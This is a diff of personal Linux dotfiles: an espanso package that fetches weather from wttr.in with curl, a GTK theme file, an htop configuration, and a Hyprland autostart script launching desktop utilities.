OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,29 @@
# espanso-package-wttr
An espanso package for getting the weather from [Igor Chubin's](https://github.com/chubin) console-oriented weather service [wttr.in](https://wttr.in).
For more information about espanso packages, read the [documentation](https://espanso.org/docs/).
## Usage
Available replacement examples:
| replacement | sample output | description |
| --------------------- | -------------------------------- | ------------------------------------- |
| `:wttrin` | Spring, United States: ⛅️ +80°F | Current location's current weather |
| `:moonphase` | 🌕 | Current phase of the moon |
| `:wttrat/{location}/` | dallas: ☀️ +88°F | Current weather in specified location. Separate words with `+` instead of spaces. |
## Installation
`espanso install wttr`
## Dependencies
Requires `curl`.
## Package Details
Repository: [https://github.com/bradyjoslin/espanso-package-wttr/](https://github.com/bradyjoslin/espanso-package-wttr/)
This package has been edited by the Espanso Team to port it to the new v2 format.

View File

@@ -0,0 +1,7 @@
author: Brady Joslin
description: A package to get the weather from wttr.in.
name: wttr
title: wttr Package
version: 0.1.0
homepage: "https://github.com/bradyjoslin/espanso-package-wttr"
tags: ["shell", "misc", "weather"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,26 @@
# wttr package
matches:
- trigger: ":wttrin"
replace: "{{output}}"
vars:
- name: output
type: shell
params:
cmd: 'curl https://wttr.in?format="%l:+%c+%t\n"'
- trigger: ":moonphase"
replace: "{{output}}"
vars:
- name: output
type: shell
params:
cmd: 'curl https://wttr.in?format="%m\n"'
- regex: ":wttrat/(?P<location>.*)/"
replace: "{{output}}"
vars:
- name: output
type: shell
params:
cmd: 'curl https://wttr.in/{{location}}?format="%l:+%c+%t\n"'

1
.config/feh/themes Normal file
View File

@@ -0,0 +1 @@
feh -xZ --scale-down --conversion-timeout 1

View File

@@ -0,0 +1,17 @@
[Settings]
gtk-theme-name=Catppuccin-Macchiato-Standard-Red-Dark
gtk-icon-theme-name=Papirus-Dark
gtk-font-name=Lexend Deca 11
gtk-cursor-theme-name=Vimix-white-cursors
gtk-cursor-theme-size=16
gtk-toolbar-style=GTK_TOOLBAR_BOTH
gtk-toolbar-icon-size=GTK_ICON_SIZE_LARGE_TOOLBAR
gtk-button-images=1
gtk-menu-images=1
gtk-enable-event-sounds=1
gtk-enable-input-feedback-sounds=1
gtk-xft-antialias=1
gtk-xft-hinting=1
gtk-xft-hintstyle=hintfull
gtk-xft-rgba=rgb
gtk-application-prefer-dark-theme=1

46
.config/htop/htoprc Normal file
View File

@@ -0,0 +1,46 @@
# Beware! This file is rewritten by htop when settings are changed in the interface.
# The parser is also very primitive, and not human-friendly.
htop_version=3.1.2
config_reader_min_version=2
fields=0 48 17 18 38 39 40 2 46 47 49 1
sort_key=46
sort_direction=1
tree_sort_key=38
tree_sort_direction=-1
hide_kernel_threads=1
hide_userland_threads=0
shadow_other_users=0
show_thread_names=0
show_program_path=1
highlight_base_name=1
highlight_deleted_exe=1
highlight_megabytes=1
highlight_threads=1
highlight_changes=1
highlight_changes_delay_secs=5
find_comm_in_cmdline=1
strip_exe_from_cmdline=1
show_merged_command=1
tree_view=1
tree_view_always_by_pid=0
all_branches_collapsed=1
header_margin=1
detailed_cpu_time=0
cpu_count_from_one=0
show_cpu_usage=1
show_cpu_frequency=1
show_cpu_temperature=1
degree_fahrenheit=0
update_process_names=0
account_guest_in_cpu_meter=0
color_scheme=0
enable_mouse=1
delay=5
hide_function_bar=0
header_layout=three_33_34_33
column_meters_0=AllCPUs Swap Memory Tasks NetworkIO
column_meter_modes_0=1 1 1 2 2
column_meters_1=Clock LoadAverage Uptime Battery Memory
column_meter_modes_1=2 2 2 2 3
column_meters_2=AllCPUs4 DiskIO
column_meter_modes_2=3 3

8
.config/hypr/autostart.sh Executable file
View File

@@ -0,0 +1,8 @@
#!/bin/dash
xhost + local: ;
swww init;
flameshot &
wayvnc &
dex -a &
dunst &
$HOME/.config/waybar/launcher.sh

Some files were not shown because too many files have changed in this diff Show More